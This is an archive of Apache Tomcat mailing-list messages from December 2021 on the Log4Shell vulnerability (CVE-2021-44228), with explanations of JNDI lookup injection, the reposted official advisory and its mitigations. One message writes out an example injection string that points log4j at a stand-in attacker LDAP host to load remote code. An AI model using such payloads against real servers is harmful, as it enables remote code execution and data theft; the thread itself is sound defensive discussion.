subject:"log4j"


James,

On 12/13/21 14:48, James H. H. Lampert wrote:

On 12/13/21 10:53 AM, Mark Thomas wrote:

Log4j2 supports a log message format syntax that includes JNDI lookups.

Log4j2 processes log messages repeatedly until it doesn't find any 
more format strings. This means the output of one format string can 
insert a new format string.

. . .

Thanks. It's starting to make sense to me now, even given that much of 
it involves Java functionality I'd never heard of.


After re-reading the Veracode article in light of what you said, I then 
found a couple of Wikipedia articles that further clarify things, for me 
at least:


https://en.wikipedia.org/wiki/Log4j
https://en.wikipedia.org/wiki/Log4Shell

So it's the ability to resolve stuff of the general format 
"${prefix:name}" within a log string, that's the problem.


It's starting to reach a point where I can wrap my 59-year-old little 
grey cells around it.


As much fun as it is to talk about this stuff, "we" (ASF volunteers, as 
well as many others) tend to try not to provide examples of how to 
exploit vulnerabilities. In this case, all you have to do it search 
GitHub for this CVE or "log4shell" on GitHub and you can see lots of 
examples.


In this case, the cat is out of the bag. I'm still not going to provide 
specific examples, but I can help you understand, conceptually.


The link Mark provided in a separate response has some of the dirty 
details. Without talking at that level of detail, the worst attack works 
essentially like this:


1. Attacker hosts an RMI server, which is a thing that allows Java 
(client) applications to remotely-load .class files from other places. 
This is great in an "enterprise" environment because a service can tell 
a client "here is the thing you need to work with me" instead of saying 
"well, if you don't have foo-bar-1.4.5.jar loaded then you can piss 
off." It's handy... and seriously dangerous if you aren't careful.


Any evildoer can do this whenever they want, there is nothing stopping 
them, nor is it really that damaging to the world in general. Just like 
I can brew poison in my own bathtub, if nobody is drinking from my 
bathtub (ew?), it's not likely to cause too much sickness or death.


2. A vulnerability is discovered and reported in log4j. This allows log 
*messages* to contain JNDI lookups. This includes attacker-controlled 
things like e.g.:


  log.info("FYI User " + username + " just searched for search string " 
+ queryString);


Pretty innocuous, right? Well, if the search string looks like 
${jndi:[stuff]} then ... boom.


3. JNDI lookups allow you to request that information be pulled-in from 
an LDAP server. JNDI across the network is essentially the same thing as 
LDAP (or "Active Directory" if that's what you use... AD is LDAP). One 
of the things you can tell your JNDI lookup to do is load a .class file 
over the network and use it for $stuff.


4. Remember that evil RMI server we set up in #1 above? Well, unless you 
are filtering-out LDAP connections to random IPs (and, really, you 
*should be*), then I as an attacking user can just go to your 
application and search for


  "Hey buddy lol ${jndi:/lookup?name=ldap://my.evil.ip:port/EvilObject};

At this point, log4j will consider this string to log:

FYI User chris just searched for the search string Hey buddy lol 
${jndi:/lookup?name=ldap://my.evil.ip:port/EvilObject}


Oh, look, there's a magic "${jndi:" thing in there. Let's helpfully 
resolve that...


The JNDI lookup causes your server to reach-out to my.evil.ip, pull a 
reference for that class across the wire, then pull the class definition 
across the wire, and run the evil class code on your server.


At this point, the resulting string written to the log does make a bit 
of difference. The evil code has been loaded onto your server and you 
have a Bad Day.


Now, this can be mitigated in a number of ways, which is nice. My two 
favorite (and incomplete) ways to mitigate this are:


1. Don't allow outgoing LDAP connections from your server. In fact, it 
doesn't matter if they are LDAP or not. Don't allow outgoing connections 
from your servers except the required[1] ones.


2. Recent Java versions automatically disable remote-classloading via 
LDAP to prevent this kind of monkey business. But there are ways to make 
it work anyway.


This is why we can't have nice things.

RCE is bad m'kay, but let's say that you don't allow outgoing network 
connections AT ALL from your server, so you are TOTALLY IMMUNE from this 
kind of attack. Well, RCE ain't the only thing possible.


Data exfiltration is an often-overlooked attack that can still be pretty 
bad. It's "limited" to what can be found in/through JNDI but ... it's 
possible to find quite a bit of interesting information that way. How? 
Those log messages aren't being sent to the attacker! How can a logging 
leak give-

Re: log4j CVE general question


Jon,

On 12/13/21 12:48, jonmcalexan...@wellsfargo.com.INVALID wrote:

I understand Chris. I guess I was looking to see if he had contact
info for anyone on that particular project. I know it's not like a
"company".

It's just like Tomcat: they have a public mailing list.

-chris

-Original Message-
From: Christopher Schultz 
Sent: Monday, December 13, 2021 11:39 AM
To: users@tomcat.apache.org
Subject: Re: log4j CVE general question

Jon,

On 12/13/21 11:51, jonmcalexan...@wellsfargo.com.INVALID wrote:

So, based on these entries on the log4j apache pages, I can't see that
any 1x product is vulnerable. Mark, is there some message from Apache
that we can share with those that need to know that for certain 1x
log4j is NOT vulnerable?

This is not something the Tomcat team (or Mark, individually) can really do
for you.

You should check for information from the log4j team.

Unofficially, log4j 1.x does not seem to be affected. There were some
questions about configuring it for use with a JMS appender, but it seems
those issues would be limited to having a compromised JMS server or an
injection into JNDI from another (unrelated) exploit.

-chris





News
CVE-2021-44228

The Log4j team has been made aware of a security vulnerability, CVE-2021-

44228, that has been addressed in Log4j 2.15.0.


Log4j's JNDI support has not restricted what names could be resolved.

Some protocols are unsafe or can allow remote code execution. Log4j now
limits the protocols by default to only java, ldap, and ldaps and limits the 
ldap
protocols to only accessing Java primitive objects by default served on the
local host.


One vector that allowed exposure to this vulnerability was Log4j's

allowance of Lookups to appear in log messages. As of Log4j 2.15.0 this
feature is now disabled by default. While an option has been provided to
enable Lookups in this fashion, users are strongly discouraged from enabling
it.


For those who cannot upgrade to 2.15.0, in releases >=2.10, this behavior

can be mitigated by setting either the system property
log4j2.formatMsgNoLookups or the environment variable
LOG4J_FORMAT_MSG_NO_LOOKUPS to true. For releases >=2.7 and
<=2.14.1, all PatternLayout patterns can be modified to specify the message
converter as %m{nolookups} instead of just %m. For releases >=2.0-beta9
and <=2.10.0, the mitigation is to remove the JndiLookup class from the
classpath: zip -q -d log4j-core-*.jar
org/apache/logging/log4j/core/lookup/JndiLookup.class.



Fixed in Log4j 2.15.0

CVE-2021-44228<https://urldefense.com/v3/__https://cve.mitre.org/cgi-

bin/cvename.cgi?name=CVE-2021-
44228__;!!F9svGWnIaVPGSwU!74bXJbpgx_hbZXhDbugIcTGP5lu3n4862EH5m
3nzPf6zeN_vbTWY0WIHuhFmP_EenqW0-rM$ >: Apache Log4j2 JNDI
features do not protect against attacker controlled LDAP and other JNDI
related endpoints.


Severity: Critical

Base CVSS Score: 10.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Versions Affected: all log4j-core versions >=2.0-beta9 and <=2.14.1

Descripton: Apache Log4j <=2.14.1 JNDI features used in configuration, log

messages, and parameters do not protect against attacker controlled LDAP
and other JNDI related endpoints. An attacker who can control log messages
or log message parameters can execute arbitrary code loaded from LDAP
servers when message lookup substitution is enabled. From log4j 2.15.0, this
behavior has been disabled by default.


Mitigation: In releases >=2.10, this behavior can be mitigated by setting

either the system property log4j2.formatMsgNoLookups or the environment
variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. For releases >=2.7
and <=2.14.1, all PatternLayout patterns can be modified to specify the
message converter as %m{nolookups} instead of just %m. For releases

=2.0-beta9 and <=2.10.0, the mitigation is to remove the JndiLookup class

from the classpath: zip -q -d log4j-core-*.jar
org/apache/logging/log4j/core/lookup/JndiLookup.class.


Credit: This issue was discovered by Chen Zhaojun of Alibaba Cloud Security

Team.


References:


https://urldefense.com/v3/__https://issues.apache.org/jira/browse/LOG4

J2-

3201__;!!F9svGWnIaVPGSwU!74bXJbpgx_hbZXhDbugIcTGP5lu3n4862EH5m3
nzPf

6zeN_vbTWY0WIHuhFmP_EezMJYN6o$  and


https://urldefense.com/v3/__https://issues.apache.org/jira/browse/LOG4

J2-

3198__;!!F9svGWnIaVPGSwU!74bXJbpgx_hbZXhDbugIcTGP5lu3n4862EH5m3
nzPf

6zeN_vbTWY0WIHuhFmP_EenSYqOaM$

Thanks,

Dream * Excel * Explore * Inspire
Jon McAlexander
Infrastructure Engineer
Asst Vice President

Middleware Product Engineering
Enterprise CIO | EAS | Middleware | Infrastructure Solutions

8080 Cobblestone Rd | Urbandale, IA 50322
MAC: F4469-010
Tel 515-988-2508 | Cell 515-988-2508



jonmcalexan...@wellsfargo.com<mailto:jonmcalexan...@wellsfargo.com>

This message may contain confidential and/or privileged information. If you

are not the addressee or authorized to receive this for the addressee, you
must not use, copy,

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

2021-12-13 Thread James H. H. Lampert


On 12/13/21 10:53 AM, Mark Thomas wrote:

Log4j2 supports a log message format syntax that includes JNDI lookups.

Log4j2 processes log messages repeatedly until it doesn't find any more 
format strings. This means the output of one format string can insert a 
new format string.

. . .

Thanks. It's starting to make sense to me now, even given that much of 
it involves Java functionality I'd never heard of.


After re-reading the Veracode article in light of what you said, I then 
found a couple of Wikipedia articles that further clarify things, for me 
at least:


https://en.wikipedia.org/wiki/Log4j
https://en.wikipedia.org/wiki/Log4Shell

So it's the ability to resolve stuff of the general format 
"${prefix:name}" within a log string, that's the problem.


It's starting to reach a point where I can wrap my 59-year-old little 
grey cells around it.


--
JHHL

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

2021-12-13 Thread Daniel Savard

Le lun. 13 déc. 2021 à 14:11, Thomas Meyer  a écrit :

> Hi,
>
> Interesting. I know a bit off topic..
>
> Does it make a difference for the vulnerability if I log with:
>
> a) log.warn("log msg param {}", userControlledParam);
>
> Or
>
> b) log.warn(log msg param " + userControlledParam);
>
>
No.


> Mfg
> Thomas
>
>
-
Daniel Savard

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

2021-12-13 Thread Thomas Meyer

Hi,

Interesting. I know a bit off topic.. 

Does it make a difference for the vulnerability if I log with:

a) log.warn("log msg param {}", userControlledParam);

Or

b) log.warn(log msg param " + userControlledParam);

Mfg
Thomas

Am 13. Dezember 2021 19:53:04 MEZ schrieb Mark Thomas :
>On 13/12/2021 18:31, James H. H. Lampert wrote:
>> The thing I'm still utterly unclear about is how simply logging traffic 
>> could, by itself, create a vulnerability.
>> 
>> In our case, the log entries are not even viewable unless you are signed 
>> on to a command line session on the server (ssh for headless Linux; a 
>> physical Twinax terminal, or a 5250 emulator of some sort, for IBM 
>> Midrange).
>> 
>> How can a log entry be executed as a command, anyway?
>
>Log4j2 supports a log message format syntax that includes JNDI lookups.
>
>Log4j2 processes log messages repeatedly until it doesn't find any more 
>format strings. This means the output of one format string can insert a 
>new format string.
>
>So, if the application is logging some user provided string verbatim 
>then the user can do the following:
>- provide input that includes the log4j2 format string for a JNDI lookup
>- on the first iteration log4j2 builds the log message that includes
>   the user provided string
>- on the second iteration log4j processes the user provided format
>   string and performs a JNDI lookup
>
>For an example of how a JNDI lookup can be leveraged to trigger code 
>execution in Tomcat see this article:
>https://www.veracode.com/blog/research/exploiting-jndi-injections-java
>
>That isn't the only way to use JNDI to trigger code execution and I am 
>sure security researchers will find a bunch of new ways as a result of 
>this vulnerability.
>
>HTH,
>
>Mark
>
>-
>To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
>For additional commands, e-mail: users-h...@tomcat.apache.org
>

-- 
Diese Nachricht wurde von meinem Android-Gerät mit K-9 Mail gesendet.

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

2021-12-13 Thread Mark Thomas


On 13/12/2021 18:31, James H. H. Lampert wrote:
The thing I'm still utterly unclear about is how simply logging traffic 
could, by itself, create a vulnerability.


In our case, the log entries are not even viewable unless you are signed 
on to a command line session on the server (ssh for headless Linux; a 
physical Twinax terminal, or a 5250 emulator of some sort, for IBM 
Midrange).


How can a log entry be executed as a command, anyway?


Log4j2 supports a log message format syntax that includes JNDI lookups.

Log4j2 processes log messages repeatedly until it doesn't find any more 
format strings. This means the output of one format string can insert a 
new format string.


So, if the application is logging some user provided string verbatim 
then the user can do the following:

- provide input that includes the log4j2 format string for a JNDI lookup
- on the first iteration log4j2 builds the log message that includes
  the user provided string
- on the second iteration log4j processes the user provided format
  string and performs a JNDI lookup

For an example of how a JNDI lookup can be leveraged to trigger code 
execution in Tomcat see this article:

https://www.veracode.com/blog/research/exploiting-jndi-injections-java

That isn't the only way to use JNDI to trigger code execution and I am 
sure security researchers will find a bunch of new ways as a result of 
this vulnerability.


HTH,

Mark

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

2021-12-13 Thread James H. H. Lampert

The thing I'm still utterly unclear about is how simply logging traffic 
could, by itself, create a vulnerability.


In our case, the log entries are not even viewable unless you are signed 
on to a command line session on the server (ssh for headless Linux; a 
physical Twinax terminal, or a 5250 emulator of some sort, for IBM 
Midrange).


How can a log entry be executed as a command, anyway?

--
JHHL

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

RE: log4j CVE general question

2021-12-13 Thread jonmcalexander

Ok, so I have been given clearance to share the stance that we are taking with 
log4j. We have contacted Apache Security and are awaiting a response.

Before making a final decision around log4j 1.x, consider the following:

-Initially, 1.x wasn’t assessed for the vulnerability, because, it is end of 
life, so many points of guidance did not assess it and exclude it from their 
advisories.  
-The situation with 1.x is morphing, modifications to the payload may result in 
RCE or server-side lookups, there are also circumstances were 1.x is vulnerable:
-Log4j 1.x may be impacted by CVE-2021-44228 in a number of conditions, such as 
when the configuration uses JNDI, which may have been enabled.
-It's possible to use the 1.x Appender to load strings from a remote server. If 
you sent TopicBindingName or TopicConnectionFactoryBindingName to values that 
JDNI can handle, which is a configuration issue that needs to be investigated 
by teams using 1.x, but a lower priority than the risk of 2.x exploitation 
which is not configuration-dependent.
-Log4j .x is End of Life, and has other security vulnerabilities that will not 
be fixed, i.e (CVE-2019-17571) that should be assessed when judging their risk.

Our recommendation is to migrate from 1.x as a P2 priority, behind your 2.x 
patching efforts. Migration guide: 
https://logging.apache.org/log4j/2.x/manual/migration.html

Thanks. Just trying to help and practice good stewardship in the Tomcat 
community. :-D

Dream * Excel * Explore * Inspire
Jon McAlexander
Infrastructure Engineer
Asst Vice President

Middleware Product Engineering
Enterprise CIO | EAS | Middleware | Infrastructure Solutions

8080 Cobblestone Rd | Urbandale, IA 50322
MAC: F4469-010
Tel 515-988-2508 | Cell 515-988-2508

jonmcalexan...@wellsfargo.com
This message may contain confidential and/or privileged information. If you are 
not the addressee or authorized to receive this for the addressee, you must not 
use, copy, disclose, or take any action based on this message or any 
information herein. If you have received this message in error, please advise 
the sender immediately by reply e-mail and delete this message. Thank you for 
your cooperation.


> -Original Message-
> From: jonmcalexan...@wellsfargo.com.INVALID
> 
> Sent: Monday, December 13, 2021 11:48 AM
> To: users@tomcat.apache.org
> Subject: RE: log4j CVE general question
> 
> I understand Chris. I guess I was looking to see if he had contact info for
> anyone on that particular project. I know it's not like a "company".
> 
> Thanks though!
> 
> Dream * Excel * Explore * Inspire
> Jon McAlexander
> Infrastructure Engineer
> Asst Vice President
> 
> Middleware Product Engineering
> Enterprise CIO | EAS | Middleware | Infrastructure Solutions
> 
> 8080 Cobblestone Rd | Urbandale, IA 50322
> MAC: F4469-010
> Tel 515-988-2508 | Cell 515-988-2508
> 
> jonmcalexan...@wellsfargo.com
> This message may contain confidential and/or privileged information. If you
> are not the addressee or authorized to receive this for the addressee, you
> must not use, copy, disclose, or take any action based on this message or any
> information herein. If you have received this message in error, please advise
> the sender immediately by reply e-mail and delete this message. Thank you
> for your cooperation.
> 
> > -Original Message-
> > From: Christopher Schultz 
> > Sent: Monday, December 13, 2021 11:39 AM
> > To: users@tomcat.apache.org
> > Subject: Re: log4j CVE general question
> >
> > Jon,
> >
> > On 12/13/21 11:51, jonmcalexan...@wellsfargo.com.INVALID wrote:
> > > So, based on these entries on the log4j apache pages, I can't see
> > > that any 1x product is vulnerable. Mark, is there some message from
> > > Apache that we can share with those that need to know that for
> > > certain 1x log4j is NOT vulnerable?
> > This is not something the Tomcat team (or Mark, individually) can
> > really do for you.
> >
> > You should check for information from the log4j team.
> >
> > Unofficially, log4j 1.x does not seem to be affected. There were some
> > questions about configuring it for use with a JMS appender, but it
> > seems those issues would be limited to having a compromised JMS server
> > or an injection into JNDI from another (unrelated) exploit.
> >
> > -chris
> >
> >
> > >
> > >
> > > News
> > > CVE-2021-44228
> > >
> > > The Log4j team has been made aware of a security vulnerability,
> > > CVE-2021-
> > 44228, that has been addressed in Log4j 2.15.0.
> > >
> > > Log4j's JNDI support has not restricted what names could be resolved.
> > Some protocols are unsafe or can all

RE: log4j CVE general question

2021-12-13 Thread jonmcalexander

I understand Chris. I guess I was looking to see if he had contact info for 
anyone on that particular project. I know it's not like a "company". 

Thanks though!

Dream * Excel * Explore * Inspire
Jon McAlexander
Infrastructure Engineer
Asst Vice President

Middleware Product Engineering
Enterprise CIO | EAS | Middleware | Infrastructure Solutions

8080 Cobblestone Rd | Urbandale, IA 50322
MAC: F4469-010
Tel 515-988-2508 | Cell 515-988-2508

jonmcalexan...@wellsfargo.com
This message may contain confidential and/or privileged information. If you are 
not the addressee or authorized to receive this for the addressee, you must not 
use, copy, disclose, or take any action based on this message or any 
information herein. If you have received this message in error, please advise 
the sender immediately by reply e-mail and delete this message. Thank you for 
your cooperation.

> -Original Message-
> From: Christopher Schultz 
> Sent: Monday, December 13, 2021 11:39 AM
> To: users@tomcat.apache.org
> Subject: Re: log4j CVE general question
> 
> Jon,
> 
> On 12/13/21 11:51, jonmcalexan...@wellsfargo.com.INVALID wrote:
> > So, based on these entries on the log4j apache pages, I can't see that
> > any 1x product is vulnerable. Mark, is there some message from Apache
> > that we can share with those that need to know that for certain 1x
> > log4j is NOT vulnerable?
> This is not something the Tomcat team (or Mark, individually) can really do
> for you.
> 
> You should check for information from the log4j team.
> 
> Unofficially, log4j 1.x does not seem to be affected. There were some
> questions about configuring it for use with a JMS appender, but it seems
> those issues would be limited to having a compromised JMS server or an
> injection into JNDI from another (unrelated) exploit.
> 
> -chris
> 
> 
> >
> >
> > News
> > CVE-2021-44228
> >
> > The Log4j team has been made aware of a security vulnerability, CVE-2021-
> 44228, that has been addressed in Log4j 2.15.0.
> >
> > Log4j's JNDI support has not restricted what names could be resolved.
> Some protocols are unsafe or can allow remote code execution. Log4j now
> limits the protocols by default to only java, ldap, and ldaps and limits the 
> ldap
> protocols to only accessing Java primitive objects by default served on the
> local host.
> >
> > One vector that allowed exposure to this vulnerability was Log4j's
> allowance of Lookups to appear in log messages. As of Log4j 2.15.0 this
> feature is now disabled by default. While an option has been provided to
> enable Lookups in this fashion, users are strongly discouraged from enabling
> it.
> >
> > For those who cannot upgrade to 2.15.0, in releases >=2.10, this behavior
> can be mitigated by setting either the system property
> log4j2.formatMsgNoLookups or the environment variable
> LOG4J_FORMAT_MSG_NO_LOOKUPS to true. For releases >=2.7 and
> <=2.14.1, all PatternLayout patterns can be modified to specify the message
> converter as %m{nolookups} instead of just %m. For releases >=2.0-beta9
> and <=2.10.0, the mitigation is to remove the JndiLookup class from the
> classpath: zip -q -d log4j-core-*.jar
> org/apache/logging/log4j/core/lookup/JndiLookup.class.
> >
> >
> > Fixed in Log4j 2.15.0
> >
> > CVE-2021-44228<https://urldefense.com/v3/__https://cve.mitre.org/cgi-
> bin/cvename.cgi?name=CVE-2021-
> 44228__;!!F9svGWnIaVPGSwU!74bXJbpgx_hbZXhDbugIcTGP5lu3n4862EH5m
> 3nzPf6zeN_vbTWY0WIHuhFmP_EenqW0-rM$ >: Apache Log4j2 JNDI
> features do not protect against attacker controlled LDAP and other JNDI
> related endpoints.
> >
> > Severity: Critical
> >
> > Base CVSS Score: 10.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
> >
> > Versions Affected: all log4j-core versions >=2.0-beta9 and <=2.14.1
> >
> > Descripton: Apache Log4j <=2.14.1 JNDI features used in configuration, log
> messages, and parameters do not protect against attacker controlled LDAP
> and other JNDI related endpoints. An attacker who can control log messages
> or log message parameters can execute arbitrary code loaded from LDAP
> servers when message lookup substitution is enabled. From log4j 2.15.0, this
> behavior has been disabled by default.
> >
> > Mitigation: In releases >=2.10, this behavior can be mitigated by setting
> either the system property log4j2.formatMsgNoLookups or the environment
> variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. For releases >=2.7
> and <=2.14.1, all PatternLayout patterns can be modified to specify the
> message converter as %m{nolookups} instead of just %m. For releases
> >

Re: log4j CVE general question

Jon,

On 12/13/21 11:51, jonmcalexan...@wellsfargo.com.INVALID wrote:

So, based on these entries on the log4j apache pages, I can't see
that any 1x product is vulnerable. Mark, is there some message from
Apache that we can share with those that need to know that for
certain 1x log4j is NOT vulnerable?
This is not something the Tomcat team (or Mark, individually) can really
do for you.

You should check for information from the log4j team.

Unofficially, log4j 1.x does not seem to be affected. There were some
questions about configuring it for use with a JMS appender, but it seems
those issues would be limited to having a compromised JMS server or an
injection into JNDI from another (unrelated) exploit.

-chris

News
CVE-2021-44228

The Log4j team has been made aware of a security vulnerability, CVE-2021-44228,
that has been addressed in Log4j 2.15.0.

Log4j's JNDI support has not restricted what names could be resolved. Some
protocols are unsafe or can allow remote code execution. Log4j now limits the
protocols by default to only java, ldap, and ldaps and limits the ldap
protocols to only accessing Java primitive objects by default served on the
local host.

One vector that allowed exposure to this vulnerability was Log4j's allowance of
Lookups to appear in log messages. As of Log4j 2.15.0 this feature is now
disabled by default. While an option has been provided to enable Lookups in
this fashion, users are strongly discouraged from enabling it.

For those who cannot upgrade to 2.15.0, in releases >=2.10, this behavior can be mitigated
by setting either the system property log4j2.formatMsgNoLookups or the environment variable
LOG4J_FORMAT_MSG_NO_LOOKUPS to true. For releases >=2.7 and <=2.14.1, all PatternLayout
patterns can be modified to specify the message converter as %m{nolookups} instead of just %m.
For releases >=2.0-beta9 and <=2.10.0, the mitigation is to remove the JndiLookup class
from the classpath: zip -q -d log4j-core-*.jar
org/apache/logging/log4j/core/lookup/JndiLookup.class.

Fixed in Log4j 2.15.0

CVE-2021-44228<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228>:
Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other
JNDI related endpoints.

Severity: Critical

Base CVSS Score: 10.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Versions Affected: all log4j-core versions >=2.0-beta9 and <=2.14.1

Descripton: Apache Log4j <=2.14.1 JNDI features used in configuration, log
messages, and parameters do not protect against attacker controlled LDAP and other
JNDI related endpoints. An attacker who can control log messages or log message
parameters can execute arbitrary code loaded from LDAP servers when message lookup
substitution is enabled. From log4j 2.15.0, this behavior has been disabled by
default.

Mitigation: In releases >=2.10, this behavior can be mitigated by setting either the system
property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to
true. For releases >=2.7 and <=2.14.1, all PatternLayout patterns can be modified to
specify the message converter as %m{nolookups} instead of just %m. For releases >=2.0-beta9
and <=2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q
-d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

Credit: This issue was discovered by Chen Zhaojun of Alibaba Cloud Security
Team.

References: https://issues.apache.org/jira/browse/LOG4J2-3201 and
https://issues.apache.org/jira/browse/LOG4J2-3198

Thanks,

Dream * Excel * Explore * Inspire
Jon McAlexander
Infrastructure Engineer
Asst Vice President

Middleware Product Engineering
Enterprise CIO | EAS | Middleware | Infrastructure Solutions

8080 Cobblestone Rd | Urbandale, IA 50322
MAC: F4469-010
Tel 515-988-2508 | Cell 515-988-2508

jonmcalexan...@wellsfargo.com<mailto:jonmcalexan...@wellsfargo.com>
This message may contain confidential and/or privileged information. If you are
not the addressee or authorized to receive this for the addressee, you must not
use, copy, disclose, or take any action based on this message or any
information herein. If you have received this message in error, please advise
the sender immediately by reply e-mail and delete this message. Thank you for
your cooperation.

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

log4j CVE general question

2021-12-13 Thread jonmcalexander

So, based on these entries on the log4j apache pages, I can't see that any 1x 
product is vulnerable. Mark, is there some message from Apache that we can 
share with those that need to know that for certain 1x log4j is NOT vulnerable?


News
CVE-2021-44228

The Log4j team has been made aware of a security vulnerability, CVE-2021-44228, 
that has been addressed in Log4j 2.15.0.

Log4j's JNDI support has not restricted what names could be resolved. Some 
protocols are unsafe or can allow remote code execution. Log4j now limits the 
protocols by default to only java, ldap, and ldaps and limits the ldap 
protocols to only accessing Java primitive objects by default served on the 
local host.

One vector that allowed exposure to this vulnerability was Log4j's allowance of 
Lookups to appear in log messages. As of Log4j 2.15.0 this feature is now 
disabled by default. While an option has been provided to enable Lookups in 
this fashion, users are strongly discouraged from enabling it.

For those who cannot upgrade to 2.15.0, in releases >=2.10, this behavior can 
be mitigated by setting either the system property log4j2.formatMsgNoLookups or 
the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. For releases 
>=2.7 and <=2.14.1, all PatternLayout patterns can be modified to specify the 
message converter as %m{nolookups} instead of just %m. For releases >=2.0-beta9 
and <=2.10.0, the mitigation is to remove the JndiLookup class from the 
classpath: zip -q -d log4j-core-*.jar 
org/apache/logging/log4j/core/lookup/JndiLookup.class.


Fixed in Log4j 2.15.0

CVE-2021-44228<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228>: 
Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and 
other JNDI related endpoints.

Severity: Critical

Base CVSS Score: 10.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Versions Affected: all log4j-core versions >=2.0-beta9 and <=2.14.1

Descripton: Apache Log4j <=2.14.1 JNDI features used in configuration, log 
messages, and parameters do not protect against attacker controlled LDAP and 
other JNDI related endpoints. An attacker who can control log messages or log 
message parameters can execute arbitrary code loaded from LDAP servers when 
message lookup substitution is enabled. From log4j 2.15.0, this behavior has 
been disabled by default.

Mitigation: In releases >=2.10, this behavior can be mitigated by setting 
either the system property log4j2.formatMsgNoLookups or the environment 
variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. For releases >=2.7 and <=2.14.1, 
all PatternLayout patterns can be modified to specify the message converter as 
%m{nolookups} instead of just %m. For releases >=2.0-beta9 and <=2.10.0, the 
mitigation is to remove the JndiLookup class from the classpath: zip -q -d 
log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

Credit: This issue was discovered by Chen Zhaojun of Alibaba Cloud Security 
Team.

References: https://issues.apache.org/jira/browse/LOG4J2-3201 and 
https://issues.apache.org/jira/browse/LOG4J2-3198

Thanks,

Dream * Excel * Explore * Inspire
Jon McAlexander
Infrastructure Engineer
Asst Vice President

Middleware Product Engineering
Enterprise CIO | EAS | Middleware | Infrastructure Solutions

8080 Cobblestone Rd | Urbandale, IA 50322
MAC: F4469-010
Tel 515-988-2508 | Cell 515-988-2508

jonmcalexan...@wellsfargo.com<mailto:jonmcalexan...@wellsfargo.com>
This message may contain confidential and/or privileged information. If you are 
not the addressee or authorized to receive this for the addressee, you must not 
use, copy, disclose, or take any action based on this message or any 
information herein. If you have received this message in error, please advise 
the sender immediately by reply e-mail and delete this message. Thank you for 
your cooperation.

Re: CVE-2021-44228 Log4j 2 Vulnerability -- How does this affect Tomcat?

2021-12-13 Thread Daniel Savard

Thanks, very useful information to channel back to my team and beyond.
-
Daniel Savard

Re: CVE-2021-44228 Log4j 2 Vulnerability - Runtime vs compile time Java version

2021-12-13 Thread Juri Berlanda


Hi all,

thanks a lot to all for the quick replies. Not what I hoped to hear, but 
hey - every new detail I learn about this issue turns out to be the 
opposite of what I hope to hear.


Cheers,

Juri

On 12/13/21 4:17 PM, David Weisgerber wrote:

Hi,
our software was also affected but luckily not our Tomcat distribution.
I repeat, no JRE has a sufficient mitigation! You need to update log4j2 or set 
the environment variables. The problem is that through log4j2 you can misuse 
other library functions where the JRE mitigations would not protect you. I must 
repeat, there was a website stating that the presence of tomcat alone would 
open up another attack vector through log4j2.

Best regards,
David

-Original Message-
From: Juri Berlanda 
Sent: Monday, 13 December 2021 16:03
To: users@tomcat.apache.org
Subject: Re: CVE-2021-44228 Log4j 2 Vulnerability - Runtime vs compile time 
Java version

Hi,

we were affected - we use an AccessLogValve, which logs to Log4j2 and we use 
Log4j as java.util.logging LogManager. We already patched, but only on Saturday.

In any case: in a lot of places I saw "recent JRE versions have a mitigation in 
place", but I can't seem to find which JRE version introduced which mitigation. Can 
anybody here point me to where I can find that information? Googling for this only seems 
to bring up everybody's security advisories, but nobody seems to bother to state exact 
JRE versions.

Cheers,

Juri

On 12/13/21 2:13 PM, Christopher Schultz wrote:

Tim,

Adding to what others have posted...

On 12/13/21 03:57, Scott,Tim wrote:

Suspecting that someone here knows the answer immediately, I thought
I’d ask.

If you do not know the answer, please don’t spend any time
investigating: I’ll do that later today and update everyone whether
or not I find an answer.

Our security team advise that “Certain versions of the Java
Development Kit remove the LDAP attack vector”.

My question is: Does this removal occur during compile time or runtime?

Runtime. You can even re-enable the vulnerability if you want :)

It's worth repeating what David Weisgerber said in his reply: even if
the runtime JDK/JRE provides a mitigation of sorts, you may still be
vulnerable through other means (aka "JNDI gadgets").

There is also a risk of information leakage which does NOT rely on the
use of LDAP connections.

Your best course of action would be to upgrade log4j if possible, or
use one of the several other mitigations available for recent
versions. If you aren't running a recent version, RUN ONE.

-chris

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org



-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

RE: [External] Re: CVE-2021-44228 Log4j 2 Vulnerability - Runtime vs compile time Java version

2021-12-13 Thread Scott,Tim

> From: Juri Berlanda
> Sent: 13 December 2021 15:03
